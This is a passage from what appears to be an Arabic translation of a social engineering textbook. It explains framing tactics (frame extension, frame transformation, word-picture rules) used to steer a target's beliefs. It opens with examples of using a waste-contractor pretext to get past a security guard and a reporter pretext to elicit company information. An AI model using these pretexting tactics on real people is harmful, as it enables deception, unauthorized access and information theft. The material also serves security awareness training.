‫إﻗﻧﺎع ﺣﺎرس أﻣن ﻟﻣﻧﺣﮫ اﻟوﺻول إﻟﻰ ﻣﻧطﻘﺔ اﻟﻘﻣﺎﻣﺔ ﻓﻲ اﻟﻣوﻗﻊ‪ .‬ذرﯾﻌﺔ اﻟﻌﺎﻣل اﻟﻣﺗﻌﺎﻗد ﻟﻠﺗﺧﻠص ﻣن اﻟﻧﻔﺎﯾﺎت ﺟﯾدة وﺑﺷﻛل ﺟﯾد ﻟﻠﻐﺎﯾﺔ وﻗد ﺗﻌﻣل‬
‫وﺣدھﺎ‪ ،‬وﻟﻛﻧﮭﺎ ﺗﻌﻣل أﻓﺿل إذا ﻗدﻣت ﻓﻛرة أن ھﻧﺎك ﺿرر ﻷﺣد ﻣﻛﺑﺎت اﻟﻧﻔﺎﯾﺎت‪ ،‬وھو ﻣﺎ ﯾﻣﺛل اﻟﻣﺳؤوﻟﯾﺔ اﻷﻣﻧﯾﺔ ﻟﻠﺷرﻛﺔ‪ .‬ﺗﺿﺧﯾم ھذا اﻹطﺎر‬
‫ﯾﻣﻛﻧﮫ ان ﯾﺟﻠب ﻟك اﻟﻣواءﻣﺔ ﻣﻊ ﺣﺎرس اﻷﻣن واﻟذي ھو أﻓﺿل ﺣل ﻟﻠﺳﻣﺎح ﻟك ﻟﺗﺣﻘﯾﻖ ھدﻓك‪.‬‬
‫ﺗﻤﺪﯾﺪ اﻹطﺎر‪ /‬ﻣﻠﺤﻘﺎت اﻹطﺎر )‪(Frame Extension‬‬
‫"ﺗﻣدﯾد اﻹطﺎر ھو ﺟﮭد ﺣرﻛﺔ ﻹدراج اﻟﻣﺷﺎرﻛﯾن ﻣن ﺧﻼل ﺗوﺳﯾﻊ ﺣدود اﻹطﺎر اﻟﻣﻘﺗرح ﻟﯾﺷﻣل وﺟﮭﺎت اﻟﻧظر‪ ،‬واﻟﻣﺻﺎﻟﺢ‪ ،‬واﻷھم ﻣن ذﻟك‪،‬‬
‫ﻣﺷﺎﻋر اﻟﻣﺟﻣوﻋﺔ‪ ".‬او ﺑﻌﺑﺎرة أﺧرى‪ ،‬ﻣن ﺧﻼل ﺗوﺳﯾﻊ ﺣدود اﻹطﺎر اﻟﺧﺎص ﺑك ﻟﯾﺷﻣل ﻣواﺿﯾﻊ أﺧرى أو ﻣﺻﺎﻟﺢ اﻟﮭدف اﻟﺧﺎص ﺑك‪ ،‬واﻟﺗﻲ‬
‫ﯾﻣﻛﻧك ﺟﻌﻠﮫ ﻣﺗواﺋم‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻻﻣﻛﺎﻧﯾﺔ اﻟﻣﺣﺗﻣﻠﺔ أن اﻟﺟﻣﺎﻋﺎت اﻟذﯾن ﯾؤﯾدون اﻟﻣﺑﺎدرات "اﻟﺧﺿراء" أو اﻟﺑﯾﺋﯾﺔ ﺳﺗﻣﺗد إطﺎرﺗﮭم ﻟﺗﺷﻣل اﻟﺣرﻛﺎت اﻟﻣﺿﺎدة‬
‫ﻟﻠﻧووي‪ ،‬ﻣﺷﯾرا إﻟﻰ أﻧﮭم ﺗﺣت ﻣظﻠﺔ ﻛوﻧﮭم ﯾﺷﻌرون ﺑﺎﻟﻘﻠﻖ إزاء اﻟﻣﺧﺎطر اﻟﺑﯾﺋﯾﺔ‪.‬‬
‫وﻣﻊ ذﻟك‪ ،‬ﻓﺈن اﻟﻣﺧﺎطر ﻣن اﺳﺗﺧدام ﻣﻠﺣﻘﺎت اﻹطﺎر ھو أﻧﮭﺎ ﯾﻣﻛن أن ﺗﺿﻌف ﻣوﻗف اﻹطﺎر اﻷﺻﻠﻲ وﻣﺳﺗوى ﻣﻌﯾن ﻣن اﻻﻏواء ﯾﻣﻛن أن‬
‫ﯾﺿﯾﻊ‪ .‬ﯾﻣﻛن اﻟﻘﯾﺎم ﺑذﻟك ﻋن طرﯾﻖ إدراج اﻟﻛﺛﯾر ﻣن ﻣﻠﺣﻘﺎت إطﺎر ﻓﻲ إطﺎر ﻣﻌﯾن‪ ،‬ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﻣطﺎف ﺗﻣﯾﯾﻊ اﻹطﺎر اﻟرﺋﯾﺳﻲ واﻟﺗﺳﺑب ﻓﻲ‬
‫ﻓﻘدان اﻻھﺗﻣﺎم‪.‬‬
‫ﺣﺗﻰ ﻋﻠﻰ اﻟﻣﺳﺗوى اﻟﺷﺧﺻﻲ‪ ،‬اﻟﺑﺳﺎطﺔ ھﻲ اﻷﻓﺿل‪ .‬ﻋﻧد اﺳﺗﺧدام ھذا ﺗﻛﺗﯾك ﻣﺣﺎذاة‪/‬ﺗواءم اﻹطﺎر‪ ،‬ﯾﺑﻘﯾﮫ ﺑﺳﯾطﺔ وﺳﮭﻼ ﻟﻠﻣﺗﺎﺑﻌﺔ‪ .‬ﻛﻣﮭﻧدس‬
‫اﺟﺗﻣﺎﻋﻲ ﻗد ﺗﺳﺗﺧدم ھذه اﻟﺗﻘﻧﯾﺔ ﻣن ﻣﺣﺎذاة‪/‬ﻣواﺋﻣﺔ اﻹطﺎر ﻣن ﺧﻼل ﻣﮭﺎرات اﻻﺳﺗﻧﺑﺎط )‪ (Elicitation‬اﻟﺗﻲ ﻧﺎﻗﺷﻧﺎھﺎ ﺳﺎﺑﻘﺎ‪ .‬ﻋﻧدﻣﺎ ﯾﻘﺗرب‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻣن اﻟﮭدف‪ ،‬ﻓﺈﻧﮭﺎ ﯾﻣﻛن أن ﯾﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﻋن اﻟﮭدف أو ﺷرﻛﺎﺗﮭم ﻣن دون إﺑداء أي اھﺗﻣﺎم ﺑﮭذا وﻟﻛن ﺑﺎﺳﺗﺧدام ذرﯾﻌﺔ‬
‫ﻛﻣراﺳل‪ .‬ﻓﺳوف ﯾﻌطﻲ ھذا اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ "اﻟﺣﻖ" ﻟطﻠب اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﻋﺎدة ﻣﺎ ﯾﻌﻣل ﺑﺟد ﻟﻠﺣﺻول ﻋﻠﯾﮭﺎ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪931‬‬

‫ﺗﺤﻮﯾﻞ اﻹطﺎر )‪(Frame Transformation‬‬

‫"ﺗﺣول اﻹطﺎر ھو ﻋﻣﻠﯾﺔ ﻣطﻠوﺑﺔ ﻋﻧدﻣﺎ ﺗﻛون اﻷطر اﻟﻣﻘﺗرﺣﺔ ﻗد ﻻ ﯾﺗردد ﺻداھﺎ ﻣﻊ ‪ ،‬وأﺣﯾﺎﻧﺎ ﻗد ﺗظﮭر ﺣﺗﻰ ﻣﺗﻧﺎﻗﺿﺔ ‪ ،‬ﻗد ﺗظﮭر أﻧﻣﺎط‬
‫اﻟﺣﯾﺎة اﻟﺗﻘﻠﯾدﯾﺔ أو اﻟطﻘوس واﻷطر اﻟﺗﻔﺳﯾرﯾﺔ اﻟﻣوﺟودة‪ ".‬أو ﺑﻌﺑﺎرة أﺧرى‪ ،‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻘدم اﻟﺣﺟﺞ اﻟﺟدﯾدة اﻟﺗﻲ ﺗﺷﯾر إﻟﻰ ﺳﺑب أن‬
‫ﺟﮭد اﻻطﺎر اﻟﺧﺎص ﺑﮫ ﻣن اﻷﻓﺿل ﻟﮫ ﻣﺣﺎوﻟﺔ ﺗﺣوﯾل أﻓﻛﺎر أو ﻣﻌﺗﻘدات اﻟﮭدف ﻣن ﺣﯾث ھم إﻟﻰ ﺣﯾث اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾرﯾد ﻟﮭﺎ أن ﺗﻛون‪.‬‬
‫ﻋﻧدﻣﺎ ﯾﺣدث ﺗﺣول اﻹطﺎر‪ ،‬ﯾطﻠب ﻗﯾم ﺟدﯾدة وﻣﻔﺎھﯾم ﺟدﯾدة ﻹﺑﻘﺎء اﻟﻧﺎس ﻣﺷﺎرﻛﺔ واﻟﺣﻔﺎظ ﻋﻠﻰ دﻋﻣﮭم‪ .‬وﻗد ﺗم ھذا اﻟﻧوع ﻣن اﻟﺗﺣول ﻋﻠﻰ‬
‫ﻣﺳﺗوى اﺟﺗﻣﺎﻋﻲ واﺳﻊ ﻓﻲ ‪ 1970‬ﺣﯾث ﺗم إﻋﺎدة ﺗﺷﻛﯾل ھﯾﻛل ﺣرﻛﺔ اﻟﻣﺣﺎﻓظﯾن أو ﺗﺣوﯾﻠﮭﺎ إﻟﻰ ﺣرﻛﺔ ﺑﯾﺋﺔ أﻛﺛر ﺗﻘدﻣﯾﺔ‪.‬‬
‫ﻋﻠﻰ‪ ،‬ﻧطﺎق أﺻﻐر أﻛﺛر ﺷﺧﺻﯾﺔ‪ ،‬ﺗﺣدث ﺗﺣوﻻت اﻹطﺎر ﻛل ﯾوم ﻣن ﺧﻼل اﻟﺗﺣول اﻟدﯾﻧﻲ‪ ،‬ﺣﯾث ﯾﺗم ﺗﻐﯾﯾر اﻹطﺎر اﻟﺷﺧص أو ﻧظﺎم اﻻﻋﺗﻘﺎد‬
‫ﻛﻠﮫ‪ ،‬ﺗﻐﯾرت‪ ،‬وﺗﺣوﻟت إﻟﻰ اﻻﻧﺣﯾﺎز ﺑﺈطﺎر ﺟدﯾد ﻣن اﻟﻔﻛر وذﻟك ﻣن اﻟدﯾن اﻟﺟدﯾد‪.‬‬
‫ﺗﺣوﯾل إطﺎر ﺷﺧص ﻟﯾﺳت ﺳﮭﻠﺔ؛ وھﻲ واﺣدة ﻣن ﺗﻛﺗﯾﻛﺎت اﻟﻣواءﻣﺔ اﻷﻛﺛر ﺗﻌﻘﯾدا واﻟﺗﻲ ﺗم وﺿﻌﮭﺎ ﻣوﺿﻊ اﻟﺗﻧﻔﯾذ ﻷﻧﮫ ﯾﻣﻛن اﺗﺧﺎذھﺎ‪:‬‬
‫‪ -‬اﻟوﻗت )‪ :(Time‬ﺗﻐﯾﯾر ﻛﺎﻣل اﻟﮭﯾﻛل ﻻﻋﺗﻘﺎد ﺷﺧص ﻣﺎ ﻟﯾﺳت ﻋﻣﻠﯾﺔ ﺳرﯾﻌﺔ وﯾﻣﻛن أن ﯾﺳﺗﻐرق اﺳﺗﺧدام ﺗﻘﻧﯾﺎت اﻟﻣﺣﺎذاة‪/‬اﻟﺗواﺋم‬
‫اﻷﺧرى واﻟﻛﺛﯾر ﻣن اﻟوﻗت واﻟﻌﻣل ﻋﻠﻰ اﻧﺟﺎﺣﮫ‪.‬‬
‫‪ -‬اﻟﺟﮭد )‪ :(Effort‬ﻣﻌرﻓﺔ ﻣن أﯾن ﯾﺄﺗﻲ اﻟﮭدف وأﯾن ﺗرﯾد ﻟﮫ أن ﯾﻛون ﻟﯾﺳت ﺳوى ﺧطوات أوﻟﯾﺔ‪ .‬ﻣﺎ ﺳﯾﻛون ﻟﮫ ﻣن اﻻﻋﺗراﺿﺎت‬
‫واﻟﻛﺗل اﻟﻌﻘﻠﯾﺔ؟ ﻣﻌرﻓﺔ ھذه اﻷﻣور ﺗﺄﺧذ ﺑﻌض ﻣن اﻟﻌﻣل‪.‬‬
‫‪ -‬اﻟﺗﻌﻠﯾم )‪ :(Education‬اﻟﻣﻌرﻓﺔ ﻗوة‪ .‬ﯾﺟب ﻋﻠﯾك ﻣﺳﺎﻋدة اﻟﮭدف ﻟﻔﮭم اﻹطﺎر اﻟﺟدﯾد اﻟذي ﺗرﯾده ﻣﻧﮫ أن "ﯾﺗﺣول إﻟﯾﮫ"‪.‬‬
‫‪ -‬اﻟﻣﻧطﻖ )‪ :(Logic‬ﯾﺟب أن ﯾﻛون اﻟﺗﻌﻠﯾم ﻣﻧطﻘﻲ وﻟﯾس ﻛل ﻋﺎطﻔﺔ‪ .‬ﯾﺟب أن ﯾﻛون اﻟﮭدف ﻗﺎدرا ﻋﻠﻰ ﻋﻘل وﺗرﺷﯾد اﻟﻌﻣل اﻟذي ھو‬
‫ﻋﻠﻰ وﺷك أن ﯾﺗﺧذه‪ .‬اﻟطرﯾﻘﺔ اﻟوﺣﯾدة اﻟﺗﻲ ﺗﺳﺗطﯾﻊ أن ﺗﻔﻌل ذﻟك ھﻲ ﻣﻊ اﻟﻣﻧطﻖ‪.‬‬
‫‪ -‬اﻟﻌﻼﻗﺎت اﻟﻌﺎطﻔﯾﺔ اﻟﻌﻣﯾﻘﺔ )‪ :(Deep emotional ties‬اﻟﻣﻌرﻓﺔ ھﻲ ﻣﺎ ﺗﺟﮭز اﻟﺷﺧص ﻟﻠﻌﻣل‪ ،‬واﻟﻣﻧطﻖ ﯾﻘﻧﻌﮫ ﺑﺎﻟﻌﻣل أﻣر ﺟﯾد أن‬
‫ﯾﺗﺧذ‪ ،‬وﻟﻛن اﻟﻌﺎطﻔﺔ ھو ﻣﺎ ﯾﺟﻌل اﻟﻌﻣل ﯾﺣدث‪ .‬إذا ﻛﻧت اﻟﻌﺎطﻔﻲ اﻟﺧﺎص ﺑك ﻋن "ﺳﺑب" ﺳﯾﺷﻌر اﻟﮭدف ﺑﮭذه اﻟﻌﺎطﻔﺔ‪ .‬ﻓﻘط ﻟﻠﺗﺄﻛد‬
‫ﻣن أن اﻟﻌﺎطﻔﺔ اﻟﺗﻲ ﺗﻌﺑر ﺑﮭﺎ وﺗﺷﻌر ﺑﮭﺎ ﺗﻘﺎﺑل اﻟذرﯾﻌﺔ اﻟﺧﺎﺻﺔ ﺑك‪ .‬إذا اﻟذرﯾﻌﺔ اﻟﺧﺎص ﺑك ھﻲ ﻣﺳﺗﺷﺎر اﻟﺗوﺟﯾﮫ وﺟﺎءت ﻣﺛل‬
‫اﻟﻣﺷﺟﻊ واﻟﺗﻲ ﺳوف ﺗﻌوض ﻗدرة اﻟﮭدف ﻟﻠﻣﺣﺎذاة‪.‬‬
‫ھﻧﺎك ﻧوﻋﺎن ﻣن ﺗﺣول اﻹطﺎر‪:‬‬
‫‪ -‬اﻟﺗﺣوﻻت ﻟﻧطﺎﻗﺎت ﻣﻌﯾﻧﮫ )‪ (Domain-specific transformations‬ﻣﺛل ﻣﺣﺎوﻟﺔ ﻟﺗﻐﯾﯾر اﻟوﺿﻊ ﻟﻣﺟﻣوﻋﺎت ﻣن اﻟﻧﺎس‪.‬‬
‫‪ -‬اﻟﺗﺣول اﻹطﺎر اﻟﻌﺎﻟﻣﻲ اﻟﺗﻔﺳﯾري )‪ (Global interpretive frame transformation‬ﺣﯾث ﻧطﺎق اﻟﺗﻐﯾﯾر ﯾﻛون ھﺎدئ وﺟذري‬
‫ﺗﻣﺎﻣﺎ ﻛﻣﺎ ھو اﻟﺣﺎل ﻓﻲ ﺗﻐﯾﯾر اﻟﻌﺎﻟم ﻓﻲ وﺟﮭﺎت اﻟﻧظر‪ ،‬إﺟﻣﺎﻟﻲ اﻟﺗﺣوﯾﻼت ﻟﻠﻔﻛر‪ ،‬أو اﻗﺗﻼع ﻛل ﻣﺎ ﻣﺄﻟوف )ﻣﺛﻼً اﻻﻧﺗﻘﺎل ﻣن‬
‫اﻟﺷﯾوﻋﯾﺔ إﻟﻰ اﻟرأﺳﻣﺎﻟﯾﺔ ﻓﻲ اﻟﺳوق؛ واﻟﺗﺣوﯾل اﻟدﯾﻧﻲ‪ ،‬إﻟﺦ‪.(.‬‬
‫اﻟﻘدرة ﻋﻠﻰ ﻣواءﻣﺔ اﻵﺧرﯾن ﻟﻺطﺎر اﻟﺧﺎص ﺑك وﻣواءﻣﺔ ﻧﻔﺳك ﻣﻌﮭم ﯾﻣﻛن أن ﯾﻌطﻲ اﻟﻧﺎس ﺣﺎﻓزا ﻟﻠﻘﯾﺎم ﺑﺎﻷﺷﯾﺎء اﻟﺗﻲ ﺗطﻠﺑﮭﺎ‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن‬
‫اﺳﺗﺧدام أي ﻣن طرق اﻟﺗﺄطﯾر اﻷرﺑﻌﺔ ﻗوه‪ ،‬وﻟﻛن اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟذي ﯾﻧﺟﺢ ﻓﻲ اﺳﺗﺧدام إطﺎر اﻟﺗﺣول ﻟدﯾﮫ ﻗوة ﻻ ﻧﮭﺎﯾﺔ ﻟﮭﺎ‪.‬‬
‫اﺳﺘﺨﺪام اﻟﺘﺄطﯿﺮ ﻛﻤﮭﻨﺪس اﺟﺘﻤﺎﻋﻲ )‪(Using Framing as a Social Engineer‬‬
‫طوال ھذا اﻟﻘﺳم ذﻛرت اﻟﻌدﯾد ﻣن طرق اﻟﺗﻲ ﻣن اﻟﻣﻣﻛن ان ﯾﺳﺗﺧدم اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺗﺄطﯾر ﻛﺄﺳﻠوب‪ .‬ﺑﻌض ﻣن ھذه اﻷﺳﺎﻟﯾب ھﻲ ﻣن‬
‫ﻗوﯾﺔ ﺟدا ﺑﺣﯾث إﺗﻘﺎﻧﮭﺎ ﯾﻣﻛن أن ﻟﮭم ﯾﺣوﻟك إﻟﻰ أﺳﺗﺎذا ﻓﻲ اﻟﺗﺄﺛﯾر‪.‬‬
‫ﻻﺳﺗﺧدام اﻟﺗﺄطﯾر ﺣﻘﺎ ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﯾﺟب أن ﻧﻔﮭم أرﺑﻌﺔ أﺷﯾﺎء ﻋن اﻟﺗﺄطﯾر )‪ .(framing‬ھذه اﻷﻣور اﻷرﺑﻌﺔ ﺳوف ﺗﺳﺎﻋدك ﻋﻠﻰ ﻓﮭم‬
‫ﺑوﺿوح ﻛﯾﻔﯾﺔ ﺗﺄطﯾر اﻷﻋﻣﺎل وﻛﯾﻔﯾﺔ اﺳﺗﺧداﻣﮭﺎ ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﺗذﻛر ﻣﺎ ھو اﻹطﺎر‪ .‬واﻹطﺎر ھو ھﯾﻛل ﻣﻔﺎھﯾﻣﻲ اﻟﺗﻲ ﺗﺳﺗﺧدﻣﮭﺎ ﻋﻘوﻟﻧﺎ ﻓﻲ اﻟﺗﻔﻛﯾر‪ .‬ھذا ھو ﺟزء ﺣﯾوي ﻣن اﻟﻣﻌﻠوﻣﺎت ﻷن ھدﻓك ھو إﻣﺎ‬
‫إﻧﺷﺎء إطﺎر ﺟدﯾد‪ ،‬ﻣﺣﺎذاة ﻣﻊ اﻹطﺎر ﻟﺷﺧص ﻣﺎ‪ ،‬أو ﺗﺣﻘﯾﻖ اﻟﮭدف ﻓﻲ اﻹطﺎر اﻟﺧﺎص ﺑك‪ .‬واﺣدة ﻣن ﺗﻠك اﻷھداف اﻟﺛﻼﺛﺔ ﯾﺟب أن ﺗﻛون‬
‫ﻣﺑﻧﯾﮫ ﻋﻠﻰ اﻟﻘواﻋد اﻷرﺑﻊ اﻟﺗﺎﻟﯾﺔ ﻣن أﺟل ﺗﺻﺑﺢ أﺳﺗﺎذا ﻓﻲ اﻟﺗﺄطﯾر ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪.‬‬
‫اﻟﻘﺎﻋﺪة اﻻوﻟﻰ‪ :‬ﻛﻞ ﻣﺎ ﺗﻘﻮﻟﮫ ﺳﻮف ﯾﺴﺘﺜﯿﺮ اﻹطﺎر )‪(Everything You Say Will Evoke a Frame‬‬ ‫‪‬‬
‫ﻋﻘول اﻟﻧﺎس ﺗﻌﻣل ﻋﺑر ﺗﺻوﯾر اﻷﺷﯾﺎء‪ .‬ھذه اﻟطﺑﯾﻌﯾﺔ اﻟﺣﻘﯾﻘﺔ ﻻ ﯾﻣﻛن ﺗﻐﯾﯾرھﺎ‪ ،‬وﻟﻛن ﯾﻣﻛﻧك اﺳﺗﺧداﻣﮭﺎ ﻟﺻﺎﻟﺣك‪ .‬إذا ﺑدأت ﺑﺎﻟﺗﺣدث إﻟﯾﻛم ﻋن‬
‫رﺋﯾﺳك ﻓﻲ اﻟﻌﻣل‪ ،‬ﻓﺎن ﻋﻘﻠك ﺳوف ﯾﺻوره ﻟك‪ .‬إذا رﺳﻣت اﻟﺻورة ﻣﻊ اﻟﻛﻠﻣﺎت ﻋن ﻛﯾف اﻧﮫ ﻛﺎن ﻓﻲ اﻟﺧﺎرج ﻋﻠﻰ اﻟﮭﺎﺗف اﻟﺧﻠﯾوي‪ ،‬وﻛﺎن‬
‫ﻏﺎﺿﺑﺎ‪ ،‬ﺳوف ﯾﺑدأ ﻋﻘﻠك ﺑﺗﺻوﯾر وﺟﮭﮫ اﻟﻐﺎﺿب‪ ،‬ﻟﻐﺔ اﻟﺟﺳد‪ ،‬واﻟﻛﻠﻣﺎت‪ .‬إﻧك ﺗﻛون ﻗﺎدرة ﻋﻠﻰ اﻟﺳﯾطرة ﻋﻠﻰ ھذا وﺳوف ﯾﺳﺑب ھذا اﻹطﺎر‬
‫اﻟﻌﻘﻠﻲ اﻟﻌواطف وردود اﻟﻔﻌل‪.‬‬
‫رﺳم اﻟﺻورة ﺑﺎﻟﻛﻠﻣﺎت ھﻲ وﺳﯾﻠﺔ ﻗوﯾﺔ ﻻﺳﺗﺧدام اﻟﺗﺄطﯾر‪ .‬ﻋن طرﯾﻖ اﺧﺗﯾﺎر ﻛﻠﻣﺎﺗك ﺑﻌﻧﺎﯾﺔ ﯾﻣﻛن أن ﯾﺳﺑب ﻟﻌﻘل اﻟﮭدف ﺗﺻوﯾر اﻷﺷﯾﺎء اﻟﺗﻲ‬
‫ﺗرﯾد ﻣﻧﮫ أن ﯾﺻوره وﺑدء اﻟﺗﺣرك ﺑﮫ إﻟﻰ اﻹطﺎر اﻟذي ﺗرﯾده‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪932‬‬

‫ھل ﺳﺑﻖ ﻟك أن ﺳﻣﻌت ﻋن ﺷﺧص ﻛﻧت ﺗﻌﺗﻘد أﻧﮫ راوي ﻗﺻص ﻋظﯾم؟ ﻟﻣﺎذا؟ ﻣﺎ اﻟذي ﺟﻌﻠﮫ ﻋظﯾﻣﺎ؟ ﻛﺎن ﻗﺎدرا ﻋﻠﻰ رﺳم اﻟﺻورة اﻟذھﻧﯾﺔ‪،‬‬
‫اﻟﺗﻲ ﺗﺟﻌﻠك ﺗرى اﻷﺷﯾﺎء ﻓﻲ ﻋﻘﻠك‪ ،‬واﻟﺗﻲ ﺗﺛﯾر اھﺗﻣﺎﻣك وﺗﺟﻌﻠك ﺗﺷﺎرك‪ .‬ھذه اﻟﻣﮭﺎرة ﻣﮭﻣﺔ ﺟدا ﺑﺎﻟﻧﺳﺑﺔ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬وھذا ﻻ ﯾﻌﻧﻲ‬
‫أن ﺗﺗﺣدث ﻛﻣﺎ ﻟو ﻛﻧت ﺗﺣﻛﻲ ﻗﺻﺔ ﻛﺑﯾرة ﻓﻲ ﻛل وﻗت‪ ،‬وﻟﻛﻧك ﺗرﯾد أن ﺗﺄﺧذ ﻓﻲ اﻻﻋﺗﺑﺎر اﻟﻛﻠﻣﺎت اﻟﺗﻲ ﺗﺧﺗﺎرھﺎ ﻟﮭذه اﻟﻛﻠﻣﺎت اﻻﺳﺗﻣرار ﻋﻠﻰ‬
‫اﻟﺳﻠطﺔ ﻟرﺳم ﺻورة ﻓﻲ أذھﺎن اﻷھداف‪.‬‬
‫ھﻧﺎ ﻣﺛﺎل ﺑﺳﯾط‪ :‬أﺳﺗطﯾﻊ ان اﻗول ﻟك ان ﻛﺎن ﻟﻲ ﺗﻧﺎول اﻟﻣﻌﻛروﻧﺔ ﻓﻲ اﻟﻌﺷﺎء اﻟﻠﯾﻠﺔ اﻟﻣﺎﺿﯾﺔ‪ .‬إذا ﻟم ﺗﻛن ﻣن ﻋﺷﺎق اﻟطﻌﺎم أو ﻟﺳت إﯾطﺎﻟﯾﺎ‪،‬‬
‫رﺑﻣﺎ ﻛﺎن آﺧر ﻣرة ﻟدﯾك ﻓﯾﮭﺎ اﻟﺳﺑﺎﺟﯾﺗﻲ ﻟم ﯾﻛن ﻣﻣﺗﻌﺎ‪ .‬إطﺎر اﻟﻌﻘﻠﯾﺔ اﻟﺧﺎﺻﺔ ﺑك ﻟﯾﺳت ﻗوﯾﺔ وﻗد ﯾﻣﻛن اﻹﯾﻘﺎف‪.‬‬
‫ﻣﺎذا ﻟو ﻗﻠت ﻟﻛم ان اﻟﻠﯾﻠﺔ اﻟﻣﺎﺿﯾﺔ ﻗﺎﻣت زوﺟﺗﻲ ﺑﺻﻧﻊ ﺻﻠﺻﺔ ﻣن اﻟطﻣﺎطم اﻟﻧﺎﺿﺟﺔ واﻟرﯾﺣﺎن اﻟﺗﻲ ﻧﻣت ﻓﻲ اﻟﺣدﯾﻘﺔ؟ ﻛﻣﺎ ﻗﺎﻣت ﺑﻘطﻊ ﻣن‬
‫اﻟﺛوم اﻟطﺎزج واﻟزﻋﺗر ﻣن اﻟﺣدﯾﻘﺔ اﯾﺿﺎ‪ ،‬ﻓﺿﻼ ﻋن ﺗﻠﻣﯾﺢ ﻋن ﺑﻌض اﻟﻧﻛﮭﺎت اﻟﻣﺿﺎﻓﺔ‪ .‬ﺛم وﺿﻌﺗﮭم ﻋﻠﻰ طﺑﻖ ﻣن اﻟﻣﻌﻛروﻧﺔ اﻟﺳﺑﺎﺟﯾﺗﻲ‬
‫اﻟﻣطﺑوﺧﺔ ﺗﻣﺎﻣﺎ وﻣﻊ ﺧﺑز اﻟﺛوم اﻟﻣﺣﻠﻲ اﻟﺻﻧﻊ‪.‬‬
‫إذا ﻛﻧت ﻣن ﻣﺣﺑﻲ اﻟﻣﻌﻛروﻧﺔ ام ﻟم ﺗﻛن‪ ،‬ﻓﺈﻧك ﺳوف ﺗﻘوم ﺑﺗﺻوﯾر طﺑﻖ اﻟطﻌﺎم‪ .‬ھذه ھﻲ اﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﺟب أن ﺗﺧطط ﺑﮭﺎ ﻛﻠﻣﺎﺗك ﻣﻊ‬
‫أھداﻓك‪ .‬ﯾﻧﺑﻐﻲ أن ﺗﻛون وﺻﻔﯾﮫ وﻗوﯾﺔ‪ ،‬وﺻورة ﻛﺎﻣﻠﮫ‪ .‬وﻣﻊ اﻟﺣذر ﻣن أﻧﮫ ﻻ ﯾﺟب أن ﯾﻛون ﻣﺳرﺣﻲ ﺑﺷﻛل ﻣﻔرط ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ .‬ﯾﺟب‬
‫أن ﯾﻛون ھدﻓك ھو ﺑﻧﺎء ﺻورة ﻣﻊ ﻛﻠﻣﺎﺗك‪ ،‬وﻟﯾس ﻟﻠﻔت اﻻﻧﺗﺑﺎه إﻟﻰ ﻧﻔﺳك أو اﻟﺗﺳﻠﯾم اﻟﺧﺎص ﺑك‪.‬‬
‫اﻟﻘﺎﻋﺪة اﻟﺜﺎﻧﯿﺔ‪ :‬اﻟﻜﻠﻤﺎت اﻟﺘﻲ ﺗﻢ ﺗﻌﺮﯾﻔﮭﺎ ﺿﻤﻦ إطﺎر ﺗﺴﺘﺤﻀﺮ اﻹطﺎر اﻟﻌﻘﻠﯿﺔ‬ ‫‪‬‬
‫‪Words That Are Defined Within a Frame Evoke the Mental Frame‬‬
‫أﻧك ﻻ ﺗﻣﻠك اﺳﺗﺧدام اﻟﻛﻠﻣﺎت اﻟدﻗﯾﻘﺔ ﻟﺟﻌل اﻟﺷﺧص ﯾﺻور اﻹطﺎر اﻟذي ﺗرﯾده‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻣﺎ رأﯾك ﻋﻧدﻣﺎ ﺗﻘرأ اﻟﺟﻣﻠﺔ اﻟﺗﺎﻟﯾﺔ؟‬
‫"رأﯾت اﻟﺣﺷرة ﺗﻧﺎﺿل ﻣن اﺟل اﻟﺣﺻول ﻋﻠﻰ اﻟﺣرﯾﺔ ﻣن اﻟ ﺷﺑﻛﺔ‪ ،‬ﻟﻛﻧﮫ ﻟم ﯾﺳﺗطﻊ‪ .‬وﺑﻌد ﻟﺣظﺎت أﺻﺑﺣت ﻣﻠﻔوﻓﺔ ﻛﺎﻟ ﺷرﻧﻘﺔ وﺣﻔظﮭﺎ ﻟﺗﻧﺎوﻟ ﮭﺎ‬
‫ﻓﻲ اﻟﻌﺷﺎء" ‪.‬‬
‫ﻻﺣظ‪ ،‬أﻧﺎ ﻟم أﻛن أذﻛر اﻟﻌﻧﻛﺑوت ﻟﺟﻌل ﺗﻔﻛﯾرك ﺣول اﻟﻌﻧﻛﺑوت‪ .‬ﺣﯾث أﻧﮫ إذا أردت ﺟﻌل إطﺎر اﻟﺷﺧص ﯾﻔﻛر ﻓﻲ اﻟﻌﻧﻛﺑوت‪ ،‬ﯾﻣﻛﻧﻧﻲ ﻓﻌل ذﻟك‬
